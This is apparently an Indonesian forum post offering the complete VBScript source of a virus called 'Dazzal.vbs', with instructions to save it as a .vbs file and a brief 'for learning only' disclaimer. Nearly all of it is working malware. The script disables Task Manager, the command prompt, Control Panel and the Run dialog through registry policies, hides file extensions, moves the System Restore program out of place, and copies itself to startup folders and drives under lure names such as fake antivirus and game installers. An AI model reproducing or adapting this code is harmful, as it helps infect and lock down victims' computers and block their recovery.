Script Virus Dazzal.vbs [!!!] (UNCENSORED)

Buat temen2 yang pengen bereksperimen dgn virus, trojan, worm, dan berbagai black project lainnya.,.ini ane kasih script virus dazzal.vbs [!!!]

berikut source kodenya :

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:Ternate.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesSystemNoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesSystemDisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesSystemDisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesNoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerAdvancedHideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCur rentVersionWinlogonLegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCur rentVersionWinlogonLegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:Ternate.vbs")
Copier.Copy ("C:Documents and SettingsAll UsersStart MenuProgramsStartupAdobe.vbs")

FSO.CreateFolder ("C:Program FilesMicrosoft 0ffice�ffice12")
FSO.CreateFolder ("D:Program")
FSO.CreateFolder ("E:Program")
FSO.CreateFolder ("F:Program")
FSO.CreateFolder ("G:Program")
FSO.CreateFolder ("H:Program")
FSO.CreateFolder ("I:Program")
FSO.CreateFolder ("J:Program")
FSO.CreateFolder ("K:Program")

Set Deleter = FSO.GetFile ("C:WindowsSystem32Restorerstrui.exe")
Deleter.Move ("C:Program FilesMicrosoft 0ffice�ffice12rstrui.Gnamu")

set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:Program FilesMicrosof 0ffice�ffice12Hantu.vbs")
Dupler.Copy ("C:Documents and SettingsAll UsersStart MenuProgramsStartupDesktop.ini.vbs")
Dupler.Copy ("C:Documents and SettingsAll UsersDesktopDajjal_Antivirus.exe.vbs")
Dupler.Copy ("C:WindowsSystem32Restorerstrui.exe.vbs")
Dupler.Copy ("D:ProgramMotoGP_SETUP.vbs")
Dupler.Copy ("E:ProgramTuneUp2009_SETUP.vbs")
Dupler.Copy ("F:ProgramAnsav_SETUP.vbs")
Dupler.Copy ("G:ProgramDeltaForce_SETUP.vbs")
Dupler.Copy ("H:ProgramDeltaForce_SETUP.vbs")
Dupler.Copy ("I:ProgramAnsav_SETUP.vbs")
Dupler.Copy ("J:ProgramProject.vbs")
Dupler.Copy ("K:ProgramHantu.vbs")

Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:Program FilesMicrosoft 0ffice�ffice12Hantu.vbs")

nah ente kopi paste deh di notepad trus save dan ekstensinya kudu .vbs [!!!]
ingett yaa....ini cm bwt pembelajaran ajaa,,jgn disalahgunakan brow...